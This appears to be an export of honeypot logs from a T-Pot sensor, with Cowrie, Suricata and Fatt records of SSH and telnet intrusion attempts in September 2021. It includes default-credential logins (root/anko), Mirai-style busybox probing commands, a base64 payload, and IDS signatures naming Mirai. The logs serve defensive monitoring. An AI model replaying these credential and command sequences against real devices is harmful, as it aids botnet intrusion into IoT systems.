\N	alert	\N	\N
19998	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:03:35.985766+03	2021-09-20 14:15:01.818614+03	{"_id": "WQXgAnwBvYTbRNuEI_j4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "29357653813e", "@version": "1", "timestamp": "2021-09-20T11:03:35.985766Z", "@timestamp": "2021-09-20T11:03:35.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19999	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:03:35.810932+03	2021-09-20 14:15:01.819614+03	{"_id": "VwXgAnwBvYTbRNuEI_j4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "29357653813e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:35.810932Z", "@timestamp": "2021-09-20T11:03:35.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20000	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:03:35.985492+03	2021-09-20 14:15:01.821613+03	{"_id": "WwXgAnwBvYTbRNuEJvjE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 1614007547437083, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56550, "dest_port": 22, "timestamp": "2021-09-20T11:03:35.985492Z", "@timestamp": "2021-09-20T11:03:35.985Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20001	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:36.102224+03	2021-09-20 14:15:01.822614+03	{"_id": "WgXgAnwBvYTbRNuEJvjD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 18, "pkts_toserver": 16, "bytes_toclient": 1115, "bytes_toserver": 978}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2016_10_26"], "deployment": ["Datacenter"], "updated_at": ["2016_10_26"], "attack_target": ["IoT"], "affected_product": ["Linux"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET MALWARE Possible Linux.Mirai Login Attempt (anko)", "signature_id": 2023436}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "YW5rbw0K", "@version": "1", "in_iface": "enp5s0", "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:36.102224Z", "@timestamp": "2021-09-20T11:03:36.102Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "anko\\r\\n"}}	1	\N	\N	alert	\N	\N
20002	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.123764+03	2021-09-20 14:15:01.823613+03	{"_id": "XQXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.login.success", "message": "login attempt [root/anko] succeeded", "session": "a958228e586c", "@version": "1", "password": "anko", "username": "root", "timestamp": "2021-09-20T11:03:36.123764Z", "@timestamp": "2021-09-20T11:03:36.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20003	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.436252+03	2021-09-20 14:15:01.824612+03	{"_id": "XgXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "enable", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: enable", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.436252Z", "@timestamp": "2021-09-20T11:03:36.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20004	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.442393+03	2021-09-20 14:15:01.826613+03	{"_id": "XwXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "system", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: system", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.442393Z", "@timestamp": "2021-09-20T11:03:36.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20005	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.452305+03	2021-09-20 14:15:01.827614+03	{"_id": "YAXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "shell", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.failed", "message": "Command not found: shell", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.452305Z", "@timestamp": "2021-09-20T11:03:36.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	\N	\N
20006	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:03:35.985543+03	2021-09-20 14:15:01.828614+03	{"_id": "ZAXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56550, "dest_port": 22, "timestamp": "2021-09-20T11:03:35.985543", "@timestamp": "2021-09-20T11:03:35.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20007	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.217943+03	2021-09-20 14:15:01.829614+03	{"_id": "ZQXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.session.params", "message": [], "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.217943Z", "@timestamp": "2021-09-20T11:03:36.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
20008	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.445698+03	2021-09-20 14:15:01.831612+03	{"_id": "ZgXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "system", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.failed", "message": "Command not found: system", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.445698Z", "@timestamp": "2021-09-20T11:03:36.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	\N	\N
20009	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.44915+03	2021-09-20 14:15:01.832613+03	{"_id": "ZwXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "shell", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: shell", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.449150Z", "@timestamp": "2021-09-20T11:03:36.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20010	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.668581+03	2021-09-20 14:15:01.834613+03	{"_id": "aAXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/mounts; /bin/busybox RIUJR", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/mounts; /bin/busybox RIUJR", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.668581Z", "@timestamp": "2021-09-20T11:03:36.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20011	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:03:36.810861+03	2021-09-20 14:15:01.835613+03	{"_id": "aQXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/q1w2e3r4t5y6] failed", "session": "29357653813e", "@version": "1", "password": "q1w2e3r4t5y6", "username": "postgres", "timestamp": "2021-09-20T11:03:36.810861Z", "@timestamp": "2021-09-20T11:03:36.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20012	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.898986+03	2021-09-20 14:15:01.836612+03	{"_id": "agXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.898986Z", "@timestamp": "2021-09-20T11:03:36.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20013	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:37.578909+03	2021-09-20 14:15:01.838613+03	{"_id": "bAXgAnwBvYTbRNuEKvit", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 27, "pkts_toserver": 24, "bytes_toclient": 4262, "bytes_toserver": 1672}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2016_08_08"], "deployment": ["Datacenter"], "updated_at": ["2016_08_23"], "attack_target": ["Server"], "former_category": ["TELNET"], "performance_impact": ["Low"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET HUNTING SUSPICIOUS busybox shell", "signature_id": 2023017}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "cm9vdA0K//4BaHVudDU3NTkNCjY2NjY2Ng0K//4BNjY2NjY2DQpyb290DQr//gEwMDAwMDAwMA0Kcm9vdA0K//4BYW5rbw0KZW5hYmxlDQpzeXN0ZW0NCnNoZWxsDQpzaA0KY2F0IC9wcm9jL21vdW50czsgL2Jpbi9idXN5Ym94IFJJVUpSDQpjZCAvZGV2L3NobTsgY2F0IC5zIHx8IGNwIC9iaW4vZWNobyAuczsgL2Jpbi9idXN5Ym94IFJJVUpSDQp0ZnRwOyB3Z2V0OyAvYmluL2J1c3lib3ggUklVSlINCmRkIGJzPTUyIGNvdW50PTEgaWY9LnMgfHwgY2F0IC5zIHx8IHdoaWxlIHJlYWQgaTsgZG8gZWNobyAkaTsgZG9uZSA8IC5zDQo=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.telnet.busybox"]}, "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:37.578909Z", "@timestamp": "2021-09-20T11:03:37.578Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "root\\r\\n...hunt5759\\r\\n666666\\r\\n...666666\\r\\nroot\\r\\n...00000000\\r\\nroot\\r\\n...anko\\r\\nenable\\r\\nsystem\\r\\nshell\\r\\nsh\\r\\ncat /proc/mounts; /bin/busybox RIUJR\\r\\ncd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR\\r\\ntftp; wget; /bin/busybox RIUJR\\r\\ndd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s\\r\\n"}}	1	\N	\N	alert	\N	\N
20014	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:37.578909+03	2021-09-20 14:15:01.839613+03	{"_id": "bQXgAnwBvYTbRNuEKvit", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 27, "pkts_toserver": 24, "bytes_toclient": 4262, "bytes_toserver": 1672}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "category": "A suspicious filename was detected", "metadata": {"created_at": ["2016_08_08"], "deployment": ["Datacenter"], "updated_at": ["2016_08_08"], "attack_target": ["Server"], "former_category": ["TELNET"], "performance_impact": ["Low"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET HUNTING SUSPICIOUS Path to BusyBox", "signature_id": 2023016}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "cm9vdA0K//4BaHVudDU3NTkNCjY2NjY2Ng0K//4BNjY2NjY2DQpyb290DQr//gEwMDAwMDAwMA0Kcm9vdA0K//4BYW5rbw0KZW5hYmxlDQpzeXN0ZW0NCnNoZWxsDQpzaA0KY2F0IC9wcm9jL21vdW50czsgL2Jpbi9idXN5Ym94IFJJVUpSDQpjZCAvZGV2L3NobTsgY2F0IC5zIHx8IGNwIC9iaW4vZWNobyAuczsgL2Jpbi9idXN5Ym94IFJJVUpSDQp0ZnRwOyB3Z2V0OyAvYmluL2J1c3lib3ggUklVSlINCmRkIGJzPTUyIGNvdW50PTEgaWY9LnMgfHwgY2F0IC5zIHx8IHdoaWxlIHJlYWQgaTsgZG8gZWNobyAkaTsgZG9uZSA8IC5zDQo=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.telnet.busybox"]}, "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:37.578909Z", "@timestamp": "2021-09-20T11:03:37.578Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "root\\r\\n...hunt5759\\r\\n666666\\r\\n...666666\\r\\nroot\\r\\n...00000000\\r\\nroot\\r\\n...anko\\r\\nenable\\r\\nsystem\\r\\nshell\\r\\nsh\\r\\ncat /proc/mounts; /bin/busybox RIUJR\\r\\ncd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR\\r\\ntftp; wget; /bin/busybox RIUJR\\r\\ndd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s\\r\\n"}}	1	\N	\N	alert	\N	\N
20015	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:39.43237+03	2021-09-20 14:15:01.840612+03	{"_id": "ewXgAnwBvYTbRNuEMvh-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40230, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 255648978409714, "@version": "1", "in_iface": "enp5s0", "src_port": 49005, "dest_port": 53, "timestamp": "2021-09-20T11:03:39.432370Z", "@timestamp": "2021-09-20T11:03:39.432Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
